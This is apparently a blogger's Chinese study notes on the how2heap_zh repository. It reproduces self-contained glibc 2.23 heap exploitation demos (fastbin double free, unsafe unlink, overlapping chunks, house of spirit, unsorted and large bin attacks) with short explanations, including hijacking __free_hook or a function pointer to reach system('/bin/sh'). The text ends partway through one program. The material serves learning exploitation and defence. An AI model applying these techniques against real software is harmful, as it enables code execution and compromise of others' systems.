how2heap_zh学习 堆刚入门,如有错误欢迎指正。源码取自
xiaodian2/how2heap_zh: 用于学习各种堆利用技术的存储库。fork自shellphish/how2heap,提供中文本地化翻译。
glibc_2.23 fastbins_dup 先放源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> #include <string.h> int main () { fprintf (stderr , "这个例子演示了 fastbin 的 double free\n" ); fprintf (stderr , "首先申请了 3 个 chunk\n" ); char * a = malloc (8 ); strcpy (a, "AAAAAAAA" ); char * b = malloc (8 ); strcpy (b, "BBBBBBBB" ); char * c = malloc (8 ); strcpy (c, "CCCCCCCC" ); fprintf (stderr , "第一个 malloc(8): %p\n" , a); fprintf (stderr , "第二个 malloc(8): %p\n" , b); fprintf (stderr , "第三个 malloc(8): %p\n" , c); fprintf (stderr , "free 掉第一个\n" ); free (a); fprintf (stderr , "当我们再次 free %p 的时候, 程序将会崩溃因为 %p 在 free 链表的第一个位置上\n" , a, a); fprintf (stderr , "我们先 free %p.\n" , b); free (b); fprintf (stderr , "现在我们就可以再次 free %p 了, 因为他现在不在 free 链表的第一个位置上\n" , a); free (a); fprintf (stderr , "现在空闲链表是这样的 [ %p, %p, %p ]. 如果我们 malloc 三次, 我们会得到两次 %p \n" , a, b, a, a); char * d = malloc (8 ); char * e = malloc (8 ); char * f = malloc (8 ); strcpy (d, "DDDDDDDD" ); strcpy (e, "EEEEEEEE" ); strcpy (f, "FFFFFFFF" ); fprintf (stderr , "第一次 malloc(8): %p\n" , d); fprintf (stderr , "第二次 malloc(8): %p\n" , e); fprintf (stderr , "第三次 malloc(8): %p\n" , f); }
最简单的double_free,在double_free之后d和f都指向同一个堆,这个时候就可以写入free_hook什么的修改成system,然后free一个内容是“/bin/sh\x00”的指针的堆块就能拿shell
fastbin_dup_consolidate 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> int main () { void * p1 = malloc (0x10 ); strcpy (p1, "AAAAAAAA" ); void * p2 = malloc (0x10 ); strcpy (p2, "BBBBBBBB" ); fprintf (stderr , "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n" , p1, p2); fprintf (stderr , "先 free p1\n" ); free (p1); void * p3 = malloc (0x400 ); fprintf (stderr , "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n" , p3); fprintf (stderr , "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n" ); free (p1); fprintf (stderr , "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n" ); void * p4 = malloc (0x10 ); strcpy (p4, "CCCCCCC" ); void * p5 = malloc (0x10 ); strcpy (p5, "DDDDDDDD" ); fprintf (stderr , "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n" , p4, p5); }
原理:把p1从fastbins放入unsortedbins里面后就能再一次free p1,具体利用同fastbins_dup
fastbin_dup_into_stack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <stdlib.h> #include <string.h> int main () { fprintf (stderr , "这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)\n" ); unsigned long long stack_var; fprintf (stderr , "我们想通过 malloc 申请到 %p.\n" , 8 +(char *)&stack_var); fprintf (stderr , "先申请3 个 chunk\n" ); char * a = malloc (8 ); strcpy (a, "AAAAAAAA" ); char * b = malloc (8 ); strcpy (b, "BBBBBBBB" ); char * c = malloc (8 ); strcpy (c, "CCCCCCCC" ); fprintf (stderr , "chunk a: %p\n" , a); fprintf (stderr , "chunk b: %p\n" , b); fprintf (stderr , "chunk c: %p\n" , c); fprintf (stderr , "free 掉 chunk a\n" ); free (a); fprintf (stderr , "如果还对 %p 进行 free, 程序会崩溃。因为 %p 现在是 fastbin 的第一个\n" , a, a); fprintf (stderr , "先对 b %p 进行 free\n" , b); free (b); fprintf (stderr , "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n" , a); free (a); fprintf (stderr , "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n" , a, b, a, a); unsigned long long *d = malloc (8 ); fprintf (stderr , "第一次 malloc(8): %p\n" , d); char * e = malloc (8 ); strcpy (e, "EEEEEEEE" ); fprintf (stderr , "第二次 malloc(8): %p\n" , e); fprintf (stderr , "现在 fastbin 表中只剩 [ %p ] 了\n" , a); fprintf (stderr , "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n" , a); stack_var = 0x20 ; fprintf (stderr , "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n" , a); *d = (unsigned long long ) (((char *)&stack_var) - sizeof (d)); char * f = malloc (8 ); strcpy (f, "FFFFFFFF" ); fprintf (stderr , "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n" , f); char * g = malloc (8 ); strcpy (g, "GGGGGGGG" ); fprintf (stderr , "这一次 malloc(8) 就申请到了栈上去: %p\n" , g); }
fastbins里的情况:
double_free之后:a->b->a,第一次malloc:b->a,第二次malloc:a,
这个时候再在栈上(或者其他可写区域)写入fake_chunk的size位,再把fake_chunk的地址写入d的fd地址,此时的fasterbins:
a->ptr(fake_chunk的地址)
再把a给malloc,下一次malloc就会把chunk申请到fake_chunk
uaf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include <stdio.h> #include <stdlib.h> typedef void (*func_ptr) (char *) ;void evil_fuc (char command[]) { system(command); }void echo (char content[]) {printf ("%s" ,content); }int main () { func_ptr *p1=(func_ptr*)malloc (0x20 ); printf ("申请了4个int大小的内存" ); printf ("p1 的地址: %p\n" ,p1); p1[1 ]=echo; printf ("把p1[1]赋值为echo函数,然后打印出\"hello world\"" ); p1[1 ]("hello world\n" ); printf ("free 掉 p1" ); free (p1); printf ("因为并没有置为null,所以p1[1]仍然是echo函数,仍然可以输出打印了\"hello again\"" ); p1[1 ]("hello again\n" ); printf ("接下来再去malloc一个p2,会把释放掉的p1给分配出来,可以看到他俩是同一地址的" ); func_ptr *p2=(func_ptr*)malloc (0x20 ); printf ("p2 的地址: %p\n" ,p2); printf ("p1 的地址: %p\n" ,p1); printf ("然后把p2[1]给改成evil_fuc也就是system函数" ); p2[1 ]=evil_fuc; printf ("传参调用" ); p1[1 ]("/bin/sh" ); return 0 ; }
c语言里面free函数调用后是不会清空块的,于是里面的指针可以再次调用。在把p2申请出来后就可以用add或者edit把p1块里面的内容修改掉。
unsafe_unlink 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> uint64_t *chunk0_ptr;int main () { fprintf (stderr , "当您在已知位置有指向某个区域的指针时,可以调用 unlink\n" ); fprintf (stderr , "最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针\n" ); int malloc_size = 0x80 ; int header_size = 2 ; fprintf (stderr , "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n" ); chunk0_ptr = (uint64_t *) malloc (malloc_size); uint64_t *chunk1_ptr = (uint64_t *) malloc (malloc_size); fprintf (stderr , "全局变量 chunk0_ptr 在 %p, 指向 %p\n" , &chunk0_ptr, chunk0_ptr); fprintf (stderr , "我们想要破坏的 chunk 在 %p\n" , chunk1_ptr); fprintf (stderr , "在 chunk0 那里伪造一个 chunk\n" ); fprintf (stderr , "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n" ); chunk0_ptr[2 ] = (uint64_t ) &chunk0_ptr-(sizeof (uint64_t )*3 ); fprintf (stderr , "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n" ); fprintf (stderr , "通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False\n" ); chunk0_ptr[3 ] = (uint64_t ) &chunk0_ptr-(sizeof (uint64_t )*2 ); fprintf (stderr , "Fake chunk 的 fd: %p\n" ,(void *) chunk0_ptr[2 ]); fprintf (stderr , "Fake chunk 的 bk: %p\n\n" ,(void *) chunk0_ptr[3 ]); fprintf (stderr , "现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据\n" ); uint64_t *chunk1_hdr = chunk1_ptr - header_size; fprintf (stderr , "通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的\n" ); chunk1_hdr[0 ] = malloc_size; fprintf (stderr , "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n" ,(void *)chunk1_hdr[0 ]); fprintf (stderr , "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n" ); chunk1_hdr[1 ] &= ~1 ; fprintf (stderr , "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n" ); free (chunk1_ptr); fprintf (stderr , "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n" ); char victim_string[8 ]; strcpy (victim_string,"Hello!~" ); chunk0_ptr[3 ] = (uint64_t ) victim_string; fprintf (stderr , "chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。\n" ); fprintf (stderr , "之前的值是: %s\n" ,victim_string); chunk0_ptr[0 ] = 0x4141414142424242L L; fprintf (stderr , "新的值是: %s\n" ,victim_string); }
检查绕过:
P->fd=ptr-0x18,P->bk=ptr-0x10
利用unlink的FD->bk=BK,BK->fd=FD的特性,几乎可以做到任意地址写。
此时ptr被修改为ptr-0x18,可以通过更改bk指针的值来进行利用
(unsafe_unlink在glibc_2.31之前都是可以用的,利用unsafe_unlink需要泄露堆地址)
overlapping_chunks 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> int main (int argc , char * argv[]) { intptr_t *p1,*p2,*p3,*p4; fprintf (stderr , "这是一个简单的堆块重叠问题,首先申请 3 个 chunk\n" ); p1 = malloc (0x100 - 8 ); p2 = malloc (0x100 - 8 ); p3 = malloc (0x80 - 8 ); fprintf (stderr , "这三个 chunk 分别申请到了:\np1:%p\np2:%p\np3:%p\n给他们分别填充\"1\"\"2\"\"3\"\n\n" , p1, p2, p3); memset (p1, '1' , 0x100 - 8 ); memset (p2, '2' , 0x100 - 8 ); memset (p3, '3' , 0x80 - 8 ); fprintf (stderr , "free 掉 p2\n" ); free (p2); fprintf (stderr , "p2 被放到 unsorted bin 中\n" ); fprintf (stderr , "现在假设有一个堆溢出漏洞,可以覆盖 p2\n" ); fprintf (stderr , "为了保证堆块稳定性,我们至少需要让 prev_inuse 为 1,确保 p1 不会被认为是空闲的堆块\n" ); int evil_chunk_size = 0x181 ; int evil_region_size = 0x180 - 8 ; fprintf (stderr , "我们将 p2 的大小设置为 %d, 这样的话我们就能用 %d 大小的空间\n" ,evil_chunk_size, evil_region_size); *(p2-1 ) = evil_chunk_size; fprintf (stderr , "\n现在让我们分配另一个块,其大小等于块p2注入大小的数据大小\n" ); fprintf (stderr , "malloc 将会把前面 free 的 p2 分配给我们(p2 的 size 已经被改掉了)\n" ); p4 = malloc (evil_region_size); fprintf (stderr , "\np4 分配在 %p 到 %p 这一区域\n" , (char *)p4, (char *)p4+evil_region_size); fprintf (stderr , "p3 从 %p 到 %p\n" , (char *)p3, (char *)p3+0x80 -8 ); fprintf (stderr , "p4 应该与 p3 重叠,在这种情况下 p4 包括所有 p3\n" ); fprintf (stderr , "这时候通过编辑 p4 就可以修改 p3 的内容,修改 p3 也可以修改 p4 的内容\n\n" ); fprintf (stderr , "接下来验证一下,现在 p3 与 p4:\n" ); fprintf (stderr , "p4 = %s\n" , (char *)p4+0x10 ); fprintf (stderr , "p3 = %s\n" , (char *)p3+0x10 ); fprintf (stderr , "\n如果我们使用 memset(p4, '4', %d), 将会:\n" , evil_region_size); memset (p4, '4' , evil_region_size); fprintf (stderr , "p4 = %s\n" , (char *)p4+0x10 ); fprintf (stderr , "p3 = %s\n" , (char *)p3+0x10 ); fprintf (stderr , "\n那么之后再 memset(p3, '3', 80), 将会:\n" ); memset (p3, '3' , 80 ); fprintf (stderr , "p4 = %s\n" , (char *)p4+0x10 ); fprintf (stderr , "p3 = %s\n" , (char *)p3+0x10 ); }
申请一个大堆块p2(大于0x80),把p2 free掉会进入unsortedbins,这时候把size改为p2的size+p3的size-0x20,再把p2申请回来就会出现p2完全覆盖p3。此时p2可以修改p3的内容,p3也可以修改p2的内容。
over_lapping_chunks_2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main () { intptr_t *p1,*p2,*p3,*p4,*p5,*p6; unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; int prev_in_use = 0x1 ; fprintf (stderr , "\n一开始分配 5 个 chunk" ); p1 = malloc (1000 ); p2 = malloc (1000 ); p3 = malloc (1000 ); p4 = malloc (1000 ); p5 = malloc (1000 ); real_size_p1 = malloc_usable_size(p1); real_size_p2 = malloc_usable_size(p2); real_size_p3 = malloc_usable_size(p3); real_size_p4 = malloc_usable_size(p4); real_size_p5 = malloc_usable_size(p5); fprintf (stderr , "\nchunk p1 从 %p 到 %p" , p1, (unsigned char *)p1+malloc_usable_size(p1)); fprintf (stderr , "\nchunk p2 从 %p 到 %p" , p2, (unsigned char *)p2+malloc_usable_size(p2)); fprintf (stderr , "\nchunk p3 从 %p 到 %p" , p3, (unsigned char *)p3+malloc_usable_size(p3)); fprintf (stderr , "\nchunk p4 从 %p 到 %p" , p4, (unsigned char *)p4+malloc_usable_size(p4)); fprintf (stderr , "\nchunk p5 从 %p 到 %p\n" , p5, (unsigned char *)p5+malloc_usable_size(p5)); memset (p1,'A' ,real_size_p1); memset (p2,'B' ,real_size_p2); memset (p3,'C' ,real_size_p3); memset (p4,'D' ,real_size_p4); memset (p5,'E' ,real_size_p5); fprintf (stderr , "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n" ); free (p4); fprintf (stderr , "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n" ); *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof (size_t ) * 2 ; fprintf (stderr , "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n" ); fprintf (stderr , "\n这样的话将会 free 掉的 p2 将会包含 p3\n" ); free (p2); fprintf (stderr , "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n" ); p6 = malloc (2000 ); real_size_p6 = malloc_usable_size(p6); fprintf (stderr , "\nchunk p6 从 %p 到 %p" , p6, (unsigned char *)p6+real_size_p6); fprintf (stderr , "\nchunk p3 从 %p 到 %p\n" , p3, (unsigned char *) p3+real_size_p3); fprintf (stderr , "\np3 中的内容: \n\n" ); fprintf (stderr , "%s\n" ,(char *)p3); fprintf (stderr , "\n往 p6 中写入\"F\"\n" ); memset (p6,'F' ,1500 ); fprintf (stderr , "\np3 中的内容: \n\n" ); fprintf (stderr , "%s\n" ,(char *)p3); }
与前面不同的是,这次修改size是在free之前的,修改之后free p2会把p2和p3识别成一个块,然后把它申请回来就能用p2控制p3
mmap_overlapping_chunks 同前面,不过不是在堆上,而是用mmap分配的一个新区域
poison_null_byte 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main () { fprintf (stderr , "当存在 off by null 的时候可以使用该技术\n" ); uint8_t * a; uint8_t * b; uint8_t * c; uint8_t * b1; uint8_t * b2; uint8_t * d; void *barrier; fprintf (stderr , "申请 0x100 的 chunk a\n" ); a = (uint8_t *) malloc (0x100 ); fprintf (stderr , "a 在: %p\n" , a); int real_a_size = malloc_usable_size(a); fprintf (stderr , "因为我们想要溢出 chunk a,所以需要知道他的实际大小: %#x\n" , real_a_size); b = (uint8_t *) malloc (0x200 ); fprintf (stderr , "b: %p\n" , b); c = (uint8_t *) malloc (0x100 ); fprintf (stderr , "c: %p\n" , c); barrier = malloc (0x100 ); fprintf (stderr , "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n" , barrier); uint64_t * b_size_ptr = (uint64_t *)(b - 8 ); fprintf (stderr , "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n" ); *(size_t *)(b+0x1f0 ) = 0x200 ; free (b); fprintf (stderr , "b 的 size: %#lx\n" , *b_size_ptr); fprintf (stderr , "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n" ); a[real_a_size] = 0 ; fprintf (stderr , "b 现在的 size: %#lx\n" , *b_size_ptr); uint64_t * c_prev_size_ptr = ((uint64_t *)c)-2 ; fprintf (stderr , "c 的 prev_size 是 %#lx\n" ,*c_prev_size_ptr); fprintf (stderr , "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n" , *((size_t *)(b-0x8 )), *(size_t *)(b-0x10 + *((size_t *)(b-0x8 )))); b1 = malloc (0x100 ); fprintf (stderr , "申请一个 0x100 大小的 b1: %p\n" ,b1); fprintf (stderr , "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n" ,*c_prev_size_ptr); fprintf (stderr , "但是我们之前写 0x200 那个地方已经改成了: %lx\n" ,*(((uint64_t *)c)-4 )); fprintf (stderr , "接下来 malloc 'b2', 作为 'victim' chunk.\n" ); b2 = malloc (0x80 ); fprintf (stderr , "b2 申请在: %p\n" ,b2); memset (b2,'B' ,0x80 ); fprintf (stderr , "现在 b2 填充的内容是:\n%s\n" ,b2); fprintf (stderr , "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n" ); free (b1); free (c); fprintf (stderr , "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n" ); d = malloc (0x300 ); fprintf (stderr , "d 申请到了: %p,我们填充一下 d 为 \"D\"\n" ,d); memset (d,'D' ,0x300 ); fprintf (stderr , "现在 b2 的内容就是:\n%s\n" ,b2); }
对p2进行切割,但是p2的presize填在了p3-0x10的位置,在free p2后,对它切割两次,此时再free p2和p3就会出现二者合并,但是中间有正在使用的由p2切割出来的一个块。这时再申请一个p2+p3大小的块就能够控制那个切割出来的块了。
house_of_spirit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <stdio.h> #include <stdlib.h> int main () { fprintf (stderr , "这个例子演示了 house of spirit 攻击\n" ); fprintf (stderr , "我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它\n" ); malloc (1 ); fprintf (stderr , "覆盖一个指向 fastbin 的指针\n" ); unsigned long long *a, *b; unsigned long long fake_chunks[10 ] __attribute__ ((aligned (16 ))); fprintf (stderr , "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n" , sizeof (fake_chunks), &fake_chunks[1 ], &fake_chunks[9 ]); fprintf (stderr , "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n" ); fake_chunks[1 ] = 0x40 ; fprintf (stderr , "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n" ); fake_chunks[9 ] = 0x1234 ; fake_chunks[2 ] = 0x4141414141414141L L; fake_chunks[10 ] = 0x4141414141414141L L; fprintf (stderr , "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n" , &fake_chunks[2 ]); a = &fake_chunks[2 ]; fprintf (stderr , "free!\n" ); free (a); fprintf (stderr , "现在 malloc 的时候将会把 %p 给返回回来\n" , &fake_chunks[2 ]); b = malloc (0x30 ); fprintf (stderr , "malloc(0x30): %p\n" , b); b[0 ] = 0x4242424242424242L L; fprintf (stderr , "ok!\n" ); return 0 ; }
在栈上伪造了两个堆块,第一个是要被free的,第二个是0x1234骗过free,然后直接free第一个指针就会把那一块地址放入fastbins,在申请回来就能用fakechunk[2]去修改fakechunk[1]
unsorted_bin_attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <stdio.h> #include <stdlib.h> int main () { fprintf (stderr , "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n" ); fprintf (stderr , "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n" ); unsigned long stack_var=0 ; fprintf (stderr , "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n" , &stack_var, stack_var); unsigned long *p=malloc (0x410 ); fprintf (stderr , "一开始先申请一个比较正常的 chunk: %p\n" ,p); fprintf (stderr , "再分配一个避免与 top chunk 合并\n\n" ); malloc (500 ); free (p); fprintf (stderr , "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n" ,(void *)p[1 ]); p[1 ]=(unsigned long )(&stack_var-2 ); fprintf (stderr , "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n" ); fprintf (stderr , "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n" ,(void *)p[1 ]); malloc (0x410 ); fprintf (stderr , "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n" ); fprintf (stderr , "%p: %p\n" , &stack_var, (void *)stack_var); }
就是把第一个堆块的bk修改成要 修改的地址-0x10,此时这个地址进入了unsortedbins,这样当再一次malloc(0x410)的时候unsortedbins就会认为在这个要修改的地址还有一个空闲的chunk,而unsortedbins只剩它一个了,所以就会把它的fd和bk地址全部修改成main_arean+88。如果再次申请一个chunk,就会把这个chunk申请到要修改的地址。
unsorted_bin_into_stack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> void jackpot () { fprintf (stderr , "Nice jump d00d\n" ); exit (0 ); }int main () { intptr_t stack_buffer[4 ] = {0 }; fprintf (stderr , "先申请 victim chunk\n" ); intptr_t * victim = malloc (0x100 ); fprintf (stderr , "再申请一块防止与 top chunk 合并\n" ); intptr_t * p1 = malloc (0x100 ); fprintf (stderr , "把 %p 这块给释放掉, 会被放进 unsorted bin 中\n" , victim); free (victim); fprintf (stderr , "在栈上伪造一个 chunk" ); fprintf (stderr , "设置 size 与指向可写地址的 bk 指针" ); stack_buffer[1 ] = 0x100 + 0x10 ; stack_buffer[3 ] = (intptr_t )stack_buffer; fprintf (stderr , "假设有一个漏洞可以覆盖 victim 的 size 和 bk 指针\n" ); fprintf (stderr , "大小应与下一个请求大小不同,以返回 fake chunk 而不是这个,并且需要通过检查(2*SIZE_SZ 到 av->system_mem)\n" ); victim[-1 ] = 32 ; victim[1 ] = (intptr_t )stack_buffer; fprintf (stderr , "现在 malloc 的时候将会返回构造的那个 fake chunk 那里: %p\n" , &stack_buffer[2 ]); char *p2 = malloc (0x100 ); fprintf (stderr , "malloc(0x100): %p\n" , p2); intptr_t sc = (intptr_t )jackpot; memcpy ((p2+40 ), &sc, 8 ); }
先申请来两个0x100大小的chunk,free第一个后第一个会被放入unsortedbins。接着在栈或者其他可写地址写入一个fakechunk(size位为0x100+0x10,bk修改为fakechunk的presize位),随后把第一个chunk的size位利用漏洞改小,并把bk改为fakechunk的presize位指针。此时再一次申请一个0x100大小的堆块,就会把fakechunk申请出来。
large_bins_attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 #include <stdio.h> #include <stdlib.h> int main () { fprintf (stderr , "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n" ); unsigned long stack_var1 = 0 ; unsigned long stack_var2 = 0 ; fprintf (stderr , "先来看一下目标:\n" ); fprintf (stderr , "stack_var1 (%p): %ld\n" , &stack_var1, stack_var1); fprintf (stderr , "stack_var2 (%p): %ld\n\n" , &stack_var2, stack_var2); unsigned long *p1 = malloc (0x320 ); fprintf (stderr , "分配第一个 large chunk: %p\n" , p1 - 2 ); fprintf (stderr , "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n" ); malloc (0x20 ); unsigned long *p2 = malloc (0x400 ); fprintf (stderr , "申请第二个 large chunk 在: %p\n" , p2 - 2 ); fprintf (stderr , "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n" ); malloc (0x20 ); unsigned long *p3 = malloc (0x400 ); fprintf (stderr , "最后申请第三个 large chunk 在: %p\n" , p3 - 2 ); fprintf (stderr , "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n" ); malloc (0x20 ); free (p1); free (p2); fprintf (stderr , "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中" " [ %p <--> %p ]\n\n" , (void *)(p2 - 2 ), (void *)(p2[0 ])); malloc (0x90 ); fprintf (stderr , "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中" " [ %p ]\n\n" , (void *)((char *)p1 + 0x90 )); free (p3); fprintf (stderr , "free 掉第三个,他会被放到 unsorted bin 中:" " [ %p <--> %p ]\n\n" , (void *)(p3 - 2 ), (void *)(p3[0 ])); fprintf (stderr , "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n" ); fprintf (stderr , "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n" ); p2[-1 ] = 0x3f1 ; p2[0 ] = 0 ; p2[2 ] = 0 ; p2[1 ] = (unsigned long )(&stack_var1 - 2 ); p2[3 ] = (unsigned long )(&stack_var2 - 4 ); malloc (0x90 ); fprintf (stderr , "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n" ); fprintf (stderr , "stack_var1 (%p): %p\n" , &stack_var1, (void *)stack_var1); fprintf (stderr , "stack_var2 (%p): %p\n" , &stack_var2, (void *)stack_var2); return 0 ; }
原理与unsortedbins_attack类似,但是能一下子覆盖掉2个区域。
house_of_einherjar 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); uint8_t * a; uint8_t * b; uint8_t * d; printf ("\n申请 0x38 作为 chunk a\n" ); a = (uint8_t *) malloc (0x38 ); printf ("chunk a 在: %p\n" , a); int real_a_size = malloc_usable_size(a); printf ("malloc_usable_size()可以返回指针所指向的 chunk 不包含头部的大小,chunk a 的 size: %#x\n" , real_a_size); printf ("\n接下来在栈上伪造 chunk,并且设置 fd、bk、fd_nextsize、bk_nextsize 来绕过 unlink 的检查\n" ); size_t fake_chunk[6 ]; fake_chunk[0 ] = 0x100 ; fake_chunk[1 ] = 0x100 ; fake_chunk[2 ] = (size_t ) fake_chunk; fake_chunk[3 ] = (size_t ) fake_chunk; fake_chunk[4 ] = (size_t ) fake_chunk; fake_chunk[5 ] = (size_t ) fake_chunk; printf ("我们伪造的 fake chunk 在 %p\n" , fake_chunk); printf ("prev_size (not used): %#lx\n" , fake_chunk[0 ]); printf ("size: %#lx\n" , fake_chunk[1 ]); printf ("fd: %#lx\n" , fake_chunk[2 ]); printf ("bk: %#lx\n" , fake_chunk[3 ]); printf 